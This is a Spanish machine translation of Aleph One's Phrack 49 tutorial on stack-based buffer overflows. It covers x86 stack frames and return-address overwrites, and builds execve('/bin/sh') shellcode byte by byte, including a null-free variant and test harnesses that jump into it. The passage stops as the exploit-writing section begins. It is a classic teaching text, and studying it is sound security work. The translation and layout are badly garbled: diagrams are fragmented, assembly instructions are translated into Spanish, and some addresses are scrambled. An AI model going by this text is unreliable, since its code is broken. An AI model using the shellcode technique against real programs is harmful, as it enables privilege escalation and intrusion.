Uploaded by federicorobasso

stack smashing es

advertisement
Suscríbete a DeepL Pro para poder traducir archivos de mayor tamaño.
Más información disponible en www.DeepL.com/pro.
.oO Phrack 49 Oo.
Volumen Siete, Número Cuarenta y Nueve
Archivo 14 de 16 BugTraq, r00t y
Underground.Org
traerte
Smashing The Stack For Fun And Profit
Aleph One
aleph1@underground.org
smash the stack` [C programming] n. En muchas implementaciones de C es posible corromper la
pila de ejecución escribiendo más allá del final de un array declarado auto en una rutina. El código
que hace esto se dice que destroza la pila, y puede causar que el retorno de la rutina salte a una
dirección aleatoria. Esto puede producir algunos de los bugs dependientes de datos más insidiosos
conocidos por la humanidad. Las variantes incluyen trash the stack, scribble the stack, mangle the
stack; el término mung the stack no se utiliza, ya que esto nunca se hace intencionadamente.
Véase spam; véase también alias bug, fandango on core, fuga de memoria, pérdida de precedencia,
overrun screw.
Introducción
En los últimos meses ha habido un gran aumento de vulnerabilidades de desbordamiento de búfer
descubiertas y explotadas. Algunos ejemplos son syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, la
biblioteca Xt, at, etc. Este artículo intenta explicar qué son los desbordamientos de búfer y cómo funcionan
sus exploits. Se requieren conocimientos básicos de ensamblador. Una comprensión de los conceptos de
memoria virtual, y experiencia con gdb son muy útiles pero no necesarios. También asumimos que estamos
trabajando con una CPU Intel x86, y que el sistema operativo es Linux. Algunas definiciones básicas antes
de empezar: Un buffer es simplemente un bloque contiguo de la memoria del ordenador que contiene
múltiples instancias del mismo tipo de datos. Los programadores de C normalmente asocian con la palabra
buffer arrays. Más comúnmente, matrices de caracteres. Las matrices, como todas las variables en C, pueden
declararse estáticas o dinámicas. Las variables estáticas se asignan en tiempo de carga en el segmento de
datos. Las variables dinámicas se asignan en tiempo de ejecución en la pila. Desbordarse es fluir o llenarse
por encima de la parte superior, los bordes o los límites. Sólo nos ocuparemos del desbordamiento de búferes
dinámicos, también conocidos como desbordamientos de búfer basados en pila.
Organización de la memoria de proceso
Para entender qué son los búferes de pila, primero debemos comprender cómo se organiza un proceso en la
memoria. Los procesos se dividen en tres regiones: Texto, Datos y Pila. Nos concentraremos en la región de la
pila, pero antes conviene hacer una pequeña descripción de las otras regiones. La región de texto está fijada
por el programa e incluye código (instrucciones) y datos de sólo lectura. Esta región corresponde a la sección
de texto del archivo ejecutable. Esta región
normalmente está marcada como de sólo lectura y cualquier intento de escribir en ella provocará una violación
de la segmentación. La región de datos contiene datos inicializados y no inicializados. Las variables estáticas
se almacenan en esta región. La región de datos corresponde a las secciones databss del archivo ejecutable. Su
tamaño puede modificarse con la llamada al sistema brk(2). Si la expansión de los datos bss o de la pila de
usuario agota la memoria disponible, el proceso se bloquea y se reprograma para volver a ejecutarse con un
espacio de memoria mayor. Se añade nueva memoria entre los segmentos de datos y pila.
/
|
|
|
|
|
|
|
|
|
|
|
\
\ inferior
| memoria
Text
|
o
Direcciones
|
(Inicializado) |
|
Dato
|
s
(Sin inicializar)
|
|
| direccion
Pila
| es de
/ memoria
superiore
s
Fig. 1 Regiones de memoria de proceso
¿Qué es una pila?
Una pila es un tipo de datos abstracto utilizado con frecuencia en informática. Una pila de objetos tiene la
propiedad de que el último objeto colocado en la pila será el primer objeto eliminado. Esta propiedad se
conoce comúnmente como cola de último en entrar, primero en salir, o LIFO. En las pilas se definen varias
operaciones. Dos de las más importantes son PUSH y POP. PUSH añade un elemento en la parte superior de
la pila. POP, por el contrario, reduce el tamaño de la pila en uno eliminando el último elemento de la parte
superior de la pila.
¿Por qué utilizamos una pila?
Los ordenadores modernos se diseñan teniendo en cuenta la necesidad de los lenguajes de alto nivel. La
técnica más importante para estructurar programas introducida por los lenguajes de alto nivel es el
procedimiento o función. Desde un punto de vista, una llamada a un procedimiento altera el flujo de control
igual que un salto, pero a diferencia de éste, cuando termina de realizar su tarea, una función devuelve el
control a la sentencia o instrucción que sigue a la llamada. Esta abstracción de alto nivel se implementa con la
ayuda de la pila. La pila también se utiliza para asignar dinámicamente las variables locales utilizadas en las
funciones, para pasar parámetros a las funciones y para devolver valores de la función.
La región de la pila
Una pila es un bloque contiguo de memoria que contiene datos. Un registro llamado puntero de pila (SP)
señala la parte superior de la pila. La parte inferior de la pila se encuentra en una dirección fija. Su tamaño es
ajustado dinámicamente por el kernel en tiempo de ejecución. La CPU implementa instrucciones para PUSH
onto y POP off de la pila. La pila está formada por marcos lógicos que se introducen cuando se llama a una
función y se extraen cuando se devuelve. Un marco de pila contiene los parámetros de una función, sus
variables locales y los datos necesarios para recuperar la pila anterior.
incluyendo el valor del puntero de instrucción en el momento de la llamada a la función. Dependiendo de la
implementación, la pila crecerá hacia abajo (hacia direcciones de memoria más bajas) o hacia arriba. En
nuestros ejemplos usaremos una pila que crece hacia abajo. Esta es la forma en que crece la pila en muchos
ordenadores, incluyendo los procesadores Intel, Motorola, SPARC y MIPS. El puntero de la pila (SP)
también depende de la implementación. Puede apuntar a la última dirección de la pila, o a la siguiente
dirección libre disponible después de la pila. Para nuestra discusión asumiremos que apunta a la última
dirección de la pila. Además del puntero de pila, que apunta a la parte superior de la pila (la dirección
numérica más baja), a menudo es conveniente tener un puntero de trama (PF) que apunta a una ubicación fija
dentro de una trama. Algunos textos también se refieren a él como puntero de base local (LB). En principio,
las variables locales podrían ser referenciadas dando sus desplazamientos desde SP. Sin embargo, a medida
que se introducen y extraen palabras de la pila, estos desplazamientos cambian. Aunque en algunos casos el
compilador puede hacer un seguimiento del número de palabras en la pila y así corregir los desplazamientos,
en otros casos no puede, y en todos los casos se requiere una considerable administración. Además, en algunas
máquinas, como los procesadores basados en Intel, acceder a una variable a una distancia conocida de SP
requiere múltiples instrucciones. En consecuencia, muchos compiladores utilizan un segundo registro, FP,
para referenciar tanto variables locales como parámetros porque sus distancias desde FP no cambian con
PUSHs y POPs. En las CPUs Intel, BP (EBP) se utiliza para este propósito. En las CPUs Motorola, cualquier
registro de dirección excepto A7 (el puntero de la pila) servirá. Debido a la forma en que crece nuestra pila,
los parámetros reales tienen offsets positivos y las variables locales tienen offsets negativos desde FP. Lo
primero que debe hacer un procedimiento al ser llamado es guardar el FP anterior (para que pueda ser
restaurado al salir del procedimiento). Luego copia SP en FP para crear el nuevo FP, y avanza SP para
reservar espacio para las variables locales. Este código se llama prólogo del procedimiento.
Al salir del procedimiento, la pila debe ser limpiada de nuevo, algo llamado epílogo del procedimiento. Las
instrucciones ENTER y LEAVE de Intel y las instrucciones LINK y UNLINK de Motorola, han sido provistas
para hacer la mayor parte del trabajo del prólogo y epílogo del procedimiento eficientemente. Veamos como se
ve la pila en un ejemplo simple:
ejemplo1.c:
void function(int a, int b, int c)
{ char buffer1[5];
char buffer2[10];
}
void main() {
function(1,2,3);
}
Para entender lo que hace el programa para llamar a function() lo compilamos con gcc usando el modificador
S para generar la salida de código ensamblador:
$ gcc -S -o ejemplo1.s ejemplo1.c
Observando la salida del lenguaje ensamblador vemos que la llamada a function() se traduce a:
pushl $3
pushl $2
pushl $1
llamar
función
Esto empuja los 3 argumentos de la función hacia atrás en la pila, y llama a function(). La instrucción 'call'
empujará el puntero de instrucción (IP) a la pila. Llamaremos a la IP guardada la dirección de retorno (RET).
Lo primero que se hace en function es el prólogo del procedimiento:
pushl %ebp
movl %esp,%ebp
subl $20,%esp
Esto empuja EBP, el puntero del marco, a la pila. Luego copia el SP actual en EBP, convirtiéndolo en el
nuevo puntero FP. Llamaremos SFP al puntero FP guardado. A continuación, asigna espacio para las
variables locales restando su tamaño de SP.
Debemos recordar que la memoria sólo puede direccionarse en múltiplos del tamaño de la palabra. Una
palabra en nuestro caso son 4 bytes, o 32 bits. Así que nuestro buffer de 5 bytes va a ocupar realmente 8 bytes
(2 palabras) de memoria, y nuestro buffer de 10 bytes va a ocupar 12 bytes (3 palabras) de memoria. Por eso a
SP se le resta 20. Con esto en mente nuestra pila se ve así cuando se llama a function() (cada espacio
parte
represenftaonudnobydtee):
memoria
búfer2
<------
[
búfer1
][
arriba deabajo de
pila
sfp
ret
a
][
][
][
b
][
c
][
]
super
ior
de la
memori
a
apila
r
Desbordamientos del búfer
Un desbordamiento de búfer es el resultado de introducir en un búfer más datos de los que puede manejar.
¿Cómo puede aprovecharse este error de programación tan frecuente para ejecutar código arbitrario? Veamos
otro ejemplo:
ejemplo2.c
void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}
void main() {
char cadena_grande[256];
int i;
for( i = 0; i < 255; i++)
cadena_grande[i] = 'A';
function(cadena_grande);
}
Este programa tiene una función con un error de codificación típico de desbordamiento de búfer. La función
copia una cadena suministrada sin comprobación de límites usando strcpy() en lugar de strncpy(). Si ejecutas
este programa obtendrás un
violación de segmentación. Veamos cómo se ve su pila cuando llamamos a la función:
fondo de
memoria
ret
*str
sfp
][
][
]
][
búfer
[
<------
parte
super
ior
de la
memori
aparte
inferior
de
pila
parte
super
ior
de la
pila
¿Qué ocurre aquí? ¿Por qué obtenemos una violación de segmentación? Simple. strcpy() está copiando el
contenido de
*str (cadena_mayor[]) en buffer[] hasta encontrar un carácter nulo en la cadena. Como podemos ver buffer[]
es mucho más pequeño que *str. buffer[] tiene 16 bytes de longitud, y estamos intentando rellenarlo con 256
bytes. Esto significa que los 250
[240] bytes después del buffer en la pila están siendo sobreescritos. Esto incluye el SPP, RET, ¡e incluso
*str! Hemos llenado large_string con el caracter 'A'. Su valor hexadecimal es 0x41. Esto significa que
la dirección de retorno es ahora 0x41414141. Esto está fuera del espacio de direcciones del proceso. Es por eso
que cuando la función retorna y trata de leer la siguiente instrucción desde esa dirección se obtiene una
violación de segmentación. Así que un desbordamiento de búfer nos permite cambiar la dirección de retorno
de una función. De esta manera podemos cambiar el flujo de ejecución del programa. Volvamos a nuestro
parte
jemplo de
y recordemos cómo era la pila:
primer efondo
memoria
búfer2
<------
[
búfer1
][
arriba deabajo de
pila
sfp
ret
a
][
][
][
b
][
c
][
]
super
ior
de la
memori
a
apila
r
Vamos a intentar modificar nuestro primer ejemplo para que sobrescriba la dirección de retorno, y demostrar
cómo podemos hacer que ejecute código arbitrario. Justo antes del buffer1[] en la pila está SFP, y antes de
él, la dirección de retorno. Es decir, 4 bytes pasan el final del buffer1[]. Pero recuerda que buffer1[] es en
realidad 2 palabras por lo que tiene 8 bytes de largo. Así que la dirección de retorno está a 12 bytes del
inicio del buffer1[]. Vamos a modificar el valor de retorno de tal manera que se salte la sentencia de
asignación 'x = 1;' después de la llamada a la función. Para ello añadiremos 8 bytes a la dirección de retorno.
Nuestro código es ahora: ejemplo3.c:
void function(int a, int b, int c)
{ char buffer1[5];
char buffer2[10];
int *ret;
ret = buffer1 +
12; (*ret) += 8;
}
void main() {
int x;
x = 0;
function(1,2,3);
x = 1;
printf("%d\n",x);
}
Lo que hemos hecho es añadir 12 a la dirección de buffer1[]. Esta nueva dirección es donde se almacena la
dirección de retorno. Queremos saltar más allá de la asignación a la llamada printf. ¿Cómo supimos que
debíamos añadir 8 [debería ser 10] a la dirección de retorno? Primero usamos un valor de prueba (por ejemplo
1), compilamos el programa, y luego iniciamos gdb:
[aleph1]$ gdb ejemplo3
GDB es software libre y puede distribuir copias del mismo bajo ciertas
condiciones; escriba "show copying" para ver las condiciones.
No hay absolutamente ninguna garantía para GDB; escriba "show warranty" para
más detalles. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software
Foundation, Inc... (no se han encontrado símbolos de depuración)...
(gdb) desmontar main
Volcado del código ensamblador de la función main:
0x8000490 :
pushl %ebp
0x8000491 :
movl
%esp,%ebp
0x8000493 :
subl
$0x4,%esp
0x8000496 :
movl
$0x0,0xfffffffc(%ebp)
0x800049d :
pushl $0x3
0x800049f :
pushl $0x2
0x800041 :
pushl $0x1
llame 0x8000470
0x80004a3 :
a
0x80004a8 :
addl
$0xc,%esp
0x80004ab :
movl
$0x1,0xfffffffc(%ebp)
0x80004b2 :
movl
0xfffffffc(%ebp),%eax
0x80004b5 :
pushl %eax
0x80004b6 :
pushl $0x80004f8
llame 0x8000378
0x80004bb :
a
0x80004c0 :
addl
$0x8,%esp
0x80004c3 :
movl
%ebp,%esp
0x80004c5 :
popl
%ebp
0x80004c6 :
ret
0x80004c7 :
nop
Podemos ver que al llamar a function() el RET será 0x8004a8, y queremos saltar más allá de la asignación en
0x80004ab. La siguiente instrucción que queremos ejecutar está en 0x8004b2. Un poco de matemáticas nos
dice que la distancia es de 8 bytes [debería ser 10].
Código Shell
Ahora que sabemos que podemos modificar la dirección de retorno y el flujo de ejecución, ¿qué programa
queremos ejecutar? En la mayoría de los casos simplemente querremos que el programa genere un intérprete
de comandos. Desde el intérprete de comandos podemos emitir otros comandos como deseemos. ¿Pero qué
pasa si no hay tal código en el programa que estamos tratando de explotar? ¿Cómo podemos colocar una
instrucción arbitraria en su espacio de direcciones? La respuesta es colocar el código que estamos intentando
ejecutar en el búfer que estamos desbordando, y sobrescribir la dirección de retorno para que apunte de nuevo
al búfer.
Asumiendo que la pila comienza en la dirección 0xFF, y que S representa el código que queremos ejecutar,
la pila se vería así:
fondo de la memoria DDDDDDDDEEEEEEEEEEE EEEE FFFF FFFF FFFF
FFFF89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF
parte
super
ior
de la
memori
a
búfer
sfp
ret
a
b
c
<-------- [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
^
|
|
|
parte
superior
de la pila
parte
inferior
de
pila
El código para generar un shell en C es el siguiente:
shellcode.c
#include stdio.h
void main() {
char *nombre[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
Para saber qué aspecto tiene en ensamblador, lo compilamos y arrancamos gdb. Recuerda usar la bandera
static. De lo contrario, el código real para la llamada al sistema execve no se incluirá. En su lugar habrá una
referencia a la librería dinámica en C que normalmente se enlazaría en tiempo de carga.
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB es software libre y puede distribuir copias del mismo bajo ciertas
condiciones; escriba "show copying" para ver las condiciones.
No hay absolutamente ninguna garantía para GDB; escriba "show warranty" para
más detalles. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software
Foundation, Inc... (gdb) desensamblar main
Volcado del código ensamblador de la
funciónmain: 0x8000130 :
pushl%ebp
0x8000131 :
movl
%esp,%ebp
0x8000133 :
subl
$0x8,%esp
0x8000136 :
movl
0x80027b8,0xfffffff8(%ebp)
0x800013d :
movl
$0x0,0xfffffffc(%ebp)0x8000144 :
pushl$0x0
0x8000146 :
leal
0xfffffff8(%ebp),%eax0x80001
49 :
pushl%eax
0x800014a :
movl
0xfffffff8(%ebp),%eax0x80001
4d :
pushl%eax
0x800014e :
call0x80002bc < execve>
0x8000153 :
addl
0xc,%esp
0x8000156 :
movl
%ebp,%esp
0x8000158 :
popl
%ebp
0x8000159 :
ret
Fin del volcado del ensamblador.
(gdb) desensamblar execve
Volcado del código ensamblador de la función execve:
0x80002bc <
%ebp 0x80002bd <
execve+1>:
movl
%esp,%ebp
0x80002bf <execve+3>:
%ebx 0x80002c0 <
execve+4>:
movl
0xb,%eax
0x80002c5 < e x e c v e + 9 >:
movl
0x8(%ebp),%ebx
0x80002c8 < execve+12>:
movl
0xc(%ebp),%ecx
0x80002cb < e x e c v e + 1 5 >:
movl
0x10(%ebp),%edx
0x80002ce < execve+18>:
int
0x80 0x80002d0
< execve+20>:
movl
%eax,%edx
0x80002d2 <execve+22>:
testl%edx,%edx
0x80002d4 < execve+24>:
jnl0x80002e6 < execve+42>
0x80002d6 < execve+26>:
negl
%edx
0x80002d8 < execve+28>:
pushl %edx
0x80002d9 < execve+29>:
call0x8001a34 < normal_errno_location>
0x80002de < execve+34>:
popl
%edx
0x80002df < execve+35>:
movl
%edx,(%eax)
0x80002e1 < execve+37>:
movl
$0xffffff,%eax
0x80002e6 < execve+42>:
popl
%ebx
0x80002e7 < e x e c v e + 4 3 >:
movl
%ebp,%esp
0x80002e9 < execve+45>:
popl
%ebp
0x80002ea < execve+46>:
ret
0x80002eb < execve+47>:
nop
Fin del volcado del ensamblador.
Intentemos comprender lo que ocurre aquí. Empezaremos por estudiar la principal:
0x8000130 : pushl %ebp
0x8000131 : movl %esp,%ebp
0x8000133 : subl $0x8,%esp
Este es el preludio del procedimiento. Primero guarda el antiguo puntero de la trama, hace que el puntero
actual de la pila sea el nuevo puntero de la trama, y deja espacio para las variables locales. En este caso es:
char *nombre[2]; o 2 punteros a un char. Los punteros miden una palabra, así que deja espacio para dos
palabras (8 bytes).
0x8000136 : movl $0x80027b8,0xfffffff8(%ebp)
Copiamos el valor 0x80027b8 (la dirección de la cadena "/bin/sh") en el primer puntero de nombre[].
Esto equivale a: nombre[0] = "/bin/sh";
0x800013d : movl $0x0,0xfffffffc(%ebp)
Copiamos el valor 0x0 (NULL) en el segundo puntero de nombre[]. Esto es equivalente a: nombre[1] =
NULL; La llamada real a execve() comienza aquí.
0x8000144 : pushl $0x0
Introducimos los argumentos de execve() en la pila en orden inverso. Comenzamos con NULL.
0x8000146 : leal 0xfffffff8(%ebp),%eax
Cargamos la dirección de nombre[] en el registro EAX.
0x8000149 : pushl %eax
Introducimos la dirección de nombre[] en la pila.
0x800014a : movl 0xfffffff8(%ebp),%eax
Cargamos la dirección de la cadena "/bin/sh" en el registro EAX.
0x800014d : pushl %eax
Introducimos la dirección de la cadena "/bin/sh" en la pila.
0x800014e : llamada 0x80002bc < execve>
Llama al procedimiento de biblioteca execve(). La instrucción de llamada empuja la IP a la pila.
Ahora execve(). Ten en cuenta que estamos usando un sistema Linux basado en Intel. Los detalles de la
llamada al sistema cambiarán de un sistema operativo a otro, y de una CPU a otra. Algunos pasarán los
argumentos por la pila, otros por los registros. Algunos usan una interrupción de software para saltar al modo
kernel, otros usan una llamada lejana. Linux pasa sus argumentos a la llamada al sistema en los registros, y
usa una interrupción de software para saltar al modo kernel.
0x80002bc <execve>
%ebp 0x80002bd
< execve+1>: movl%esp
,%ebp 0x80002bf
< execve+3>: pushl %ebx
El preludio del procedimiento.
0x80002c0 < execve+4>: movl
$0xb,%eax
Copia 0xb (11 decimal) en la pila. Este es el índice en la tabla syscall. 11 es execve.
0x80002c5 < execve+9>: movl
0x8(%ebp),%ebx
Copia la dirección de "/bin/sh" en EBX.
0x80002c8 < execve+12>:
movl
0xc(%ebp),%ecx
movl
0x10(%ebp),%edx
int
$0x80
Copia la dirección de nombre[] en ECX.
0x80002cb < execve+15>:
Copia la dirección del puntero nulo en %edx.
0x80002ce < execve+18>:
Cambia al modo kernel. [Trap into the kernel.]
Como podemos ver no hay mucho que hacer con la llamada al sistema execve(). Todo lo que tenemos que
hacer es:
a.
b.
c.
d.
e.
f.
g.
Tener la cadena terminada en nulo "/bin/sh" en algún lugar de la memoria.
Tener la dirección de la cadena "/bin/sh" en algún lugar de la memoria seguida de una palabra larga nula.
Copia 0xb en el registro EAX.
Copia la dirección de la cadena "/bin/sh" en el registro EBX.
Copia la dirección de la cadena "/bin/sh" en el registro ECX.
Copia la dirección de la palabra larga nula en el registro EDX.
Ejecuta la instrucción int $0x80.
¿Pero qué pasa si la llamada a execve() falla por alguna razón? El programa continuará obteniendo
instrucciones de la pila, ¡que pueden contener datos aleatorios! Lo más probable es que el programa haga
un core dump. Queremos que el programa salga limpiamente si la llamada al sistema execve falla. Para
lograr esto debemos agregar una llamada al sistema exit después de la llamada al sistema execve. ¿Qué
aspecto tiene la llamada al sistema de salida?
exit.c
#include <stdlib.h>
void main() {
exit(0);
}
[aleph1]$ gcc -o exit -static
exit.c [aleph1]$ gdb exit
GDB es software libre y puede distribuir copias del mismo bajo ciertas
condiciones; escriba "show copying" para ver las condiciones.
No hay absolutamente ninguna garantía para GDB; escriba "show warranty" para
más detalles. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software
Foundation, Inc... (no se han encontrado símbolos de depuración)...
(gdb) disassemble _exit
Volcado del código ensamblador de la función _exit:
0x800034c <_salir>:
pushl %ebp
0x800034d <_salida+1>: movl
%esp,%ebp
0x800034f <_salida+3>: pushl %ebx
0x8000350 <_salida+4>: movl
$0x1,%eax
0x8000355 <_salida+9>: movl
0x8(%ebp),%ebx
0x8000358 <_salida+12> int
$0x80
:
0x800035a <_salida+14> movl
0xfffffffc(%ebp),%ebx
:
0x800035d <_salida+17> movl
%ebp,%esp
:
0x800035f <_salida+19> popl
%ebp
:
0x8000360 <_salida+20> ret
:
0x8000361 <_salida+21> nop
:
0x8000362 <_salida+22> nop
:
0x8000363 <_salida+23> nop
:
Fin del volcado del ensamblador.
La llamada al sistema de salida colocará 0x1 en EAX, colocará el código de salida en EBX, y ejecutará
"int 0x80". Y ya está. La mayoría de las aplicaciones devuelven 0 al salir para indicar que no hay
errores. Pondremos 0 en EBX. Nuestra lista de pasos es ahora:
a. Tener la cadena terminada en nulo "/bin/sh" en algún lugar de la memoria.
b.
c.
d.
e.
f.
g.
h.
i.
j.
Tener la dirección de la cadena "/bin/sh" en algún lugar de la memoria seguida de una palabra larga nula.
Copia 0xb en el registro EAX.
Copia la dirección de la cadena "/bin/sh" en el registro EBX.
Copia la dirección de la cadena "/bin/sh" en el registro ECX.
Copia la dirección de la palabra larga nula en el registro EDX.
Ejecuta la instrucción int $0x80.
Copia 0x1 en el registro EAX.
Copia 0x0 en el registro EBX.
Ejecuta la instrucción int $0x80.
Intentando juntar esto en lenguaje ensamblador, colocando la cadena después del código, y recordando que
colocaremos la dirección de la cadena, y la palabra nula después del array, tenemos:
movl
cadena_direccion,cadena_dire
ccion_direccion movb
$0x0,null_byte_addr
movl $0x0,null_addr
movl
$0xb,%eax
movl
string_addr,%ebx
leal
string_addr,%ecx
leal
null_string,%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
La cadena /bin/sh va aquí.
El problema es que no sabemos en qué parte del espacio de memoria del programa que estamos intentando
explotar se colocará el código (y la cadena que le sigue). Una forma de evitarlo es usar una instrucción JMP,
y una CALL. Las instrucciones JMP y CALL pueden utilizar direccionamiento relativo IP, lo que significa
que podemos saltar a un offset desde la IP actual sin necesidad de conocer la dirección exacta de la memoria
en la que queremos saltar. Si colocamos una instrucción CALL justo antes de la cadena "/bin/sh", y una
instrucción JMP a ella, la dirección de la cadena será empujada a la pila como dirección de retorno cuando se
ejecute CALL. Todo lo que necesitamos entonces es copiar la dirección de retorno en un registro. La
instrucción CALL puede simplemente llamar al inicio de nuestro código anterior. Asumiendo ahora que J
representa la instrucción JMP, C la instrucción CALL, y s la cadena, el flujo de ejecución sería ahora:
fondo de la memoria DDDDDDDDEEEEEEEEEEE EEEE FFFF FFFF FFFF
FFFF89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF
búfer
sfp
ret
a
b
c
< -------- [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
^|^
^|
|
|||
||
| (1)
(2) ||
||
|
| (3)
arriba deabajo de
pila
r
parte
super
ior
de la
memori
a
apila
[No hay suficientes pequeños en la figura; strlen("/bin/sh") == 7.] Con estas modificaciones, utilizando indexado
direccionamiento, y anotando cuántos bytes ocupa cada instrucción nuestro código tiene el siguiente aspecto:
jmp
offset-to-call
# 2 bytes
popl
%esi
# 1 byte
movl %esi,array-offset(%esi) # 3 bytes
movb $0x0,nullbyteoffset(%esi)# 4 bytes
movl $0x0,null-offset(%esi) # 7 bytes
movl $0xb,%eax# 5 bytes
movl %esi,%ebx# 2 bytes lealarrayoffset(%esi
),%ecx #
3 bytes leal
nulloffset(%esi),%edx# 3 bytes int $0x80# 2
bytes
movl$0x1
, %eax# 5 bytes
movl$0x0
, %ebx# 5 bytes
int
$0x80# 2 bytes
llamar a
offset-to-popl# 5 bytes
La cadena /bin/sh va aquí.
Calculando los desplazamientos de jmp a call, de call a popl, de la dirección de la cadena al array, y de la
dirección de la cadena a la palabra larga nula, tenemos ahora:
jmp
0x26
popl
%esi
movl
%esi,0x8(%esi)
movb
$0x0,0x7(%esi)
movl
$0x0,0xc(%esi)
movl
$0xb,%eax
movl
%esi,%ebx
leal
0x8(%esi),%ecx
leal
0xc(%esi),%edx
int
$0x80
movl
$0x1, %eax
movl
$0x0, %ebx
int
$0x80
llame -0x2b
a
.string \"/bin/sh\"
#
#
#
#
#
#
#
#
#
#
#
#
#
#
2
1
3
4
7
5
2
3
3
2
5
5
2
5
bytes
byte
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
# 8 bytes
Tiene buena pinta. Para asegurarnos de que funciona correctamente debemos compilarlo y ejecutarlo. Pero
hay un problema. Nuestro código se modifica a sí mismo [¿dónde?], pero la mayoría de los sistemas
operativos marcan las páginas de código como de sólo lectura. Para evitar esta restricción debemos colocar
el código que deseamos ejecutar en la pila o segmento de datos, y transferirle el control. Para ello
colocaremos nuestro código en una matriz global en el segmento de datos. Primero necesitamos una
representación hexadecimal del código binario. Vamos a compilarlo primero, y luego usaremos gdb para
obtenerlo.
shellcodeasm.c
void main() {
asm ( "
jmp
popl
movl
movb
0x2a
%esi
%esi,0x8(%esi)
$0x0,0x7(%esi)
#
#
#
#
3
1
3
4
bytes
byte
bytes
bytes
movl
$0x0,0xc(%esi)
movl
$0xb,%eax
movl
%esi,%ebx
leal
0x8(%esi),%ecx
leal
0xc(%esi),%edx
int
$0x80
movl
$0x1, %eax
movl
$0x0, %ebx
int
$0x80
llame -0x2f
a
.string \"/bin/sh\"
#
#
#
#
#
#
#
#
#
#
7
5
2
3
3
2
5
5
2
5
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
# 8 bytes
");
}
[aleph1]$ gcc -o shellcodeasm -g -ggdb
shellcodeasm.c [aleph1]$ gdb shellcodeasm
GDB es software libre y puede distribuir copias del mismo bajo ciertas
condiciones; escriba "show copying" para ver las condiciones.
No hay absolutamente ninguna garantía para GDB; escriba "show warranty" para
más detalles. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software
Foundation, Inc... (gdb) desensamblar main
Volcado del código ensamblador de la
funciónmain: 0x8000130 :
pushl%ebp
0x8000131 :
movl
%esp,%ebp
0x8000133 :
jmp
0x800015f
0x8000135 :
popl
%esi
0 x 8 0 0 0 1 3 6 : movl
%esi,0x8(%esi)
0x8000139 :
movb
$0x0,0x7(%esi)
0x800013d :
movl
0x0,0xc(%esi)
0x8000144 :
movl
0xb,%eax
0x8000149 :
movl
%esi,%ebx
0x800014b :
leal
0x8(%esi),%ecx
0x800014e :
leal
0xc(%esi),%edx
0x8000151 :
int
0x80
0x8000153 :
movl
$0x1,%eax
0x8000158 :
movl
$0x0,%ebx
0x800015d :
int
0x80
0x800015f :
call
0x8000135
0x8000164 :
das
0x8000165 :
boundl 0x6e(%ecx),%ebp
0x8000168 :
das
0x8000169 :
jae0x80001d3 < new_exitfn+55>
0x800016b :
addb
%cl,0x55c35dec(%ecx)
Fin del volcado del
ensamblador.
(gdb)
x/bx main+3 0x8000133
:
0xeb
(gdb)
0x8000134 :
0x2a
(gdb)
.
.
.
testsc.c
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) =
(int)shellcode;
}
[aleph1]$ gcc -o testsc testsc.c
[aleph1]$ ./testsc
$ exit
[aleph1]$
¡Funciona! Pero hay un obstáculo. En la mayoría de los casos estaremos intentando desbordar un búfer de
caracteres. Como tal, cualquier byte nulo en nuestro shellcode se considerará el final de la cadena, y la
copia terminará. No debe haber bytes nulos en el shellcode para que el exploit funcione. Intentemos
eliminar los bytes (y al mismo tiempo hacerlo más pequeño).
Instrucción de problemas:
Sustituir por:
movb
molv
$0x0,0x7(%esi)
$0x0,0xc(%esi)
xorl
movb
movl
%eax,%eax
%eax,0x7(%esi)
%eax,0xc(%esi)
movl
0xb,%eax
movb
$0xb,%al
movl$0x1
movl$0x0
, %eax xorl %ebx,%ebx
, %ebxmovl
%ebx,%eax
inc
%eax
Nuestro código mejorado: shellcodeasm2.c
void main() {
asm ( "
jmp
popl
movl
xorl
movb
movl
movb
movl
leal
leal
int
xorl
movl
0x1f
%esi
%esi,0x8(%esi)
%eax,%eax
%eax,0x7(%esi)
%eax,0xc(%esi)
$0xb,%al
%esi,%ebx
0x8(%esi),%ecx
0xc(%esi),%edx
$0x80
%ebx,%ebx
%ebx,%eax
#
#
#
#
#
#
#
#
#
#
#
#
#
2
1
3
2
3
3
2
2
3
3
2
2
2
bytes
byte
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
inc
%eax# 1 bytes
int
$0x80# 2 bytes
llamar a
.string \"/bin/sh\"
-0x24# 5 bytes
# 8 bytes
# 46 bytes total
");
}
Y nuestro nuevo programa de pruebas: testsc2.c
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) =
(int)shellcode;
}
[aleph1]$ gcc -o testsc2 testsc2.c
[aleph1]$ ./testsc2
$ exit
[aleph1]$
Escribir un exploit
Tratemos de juntar todas las piezas. Tenemos el shellcode. Sabemos que debe ser parte de la cadena
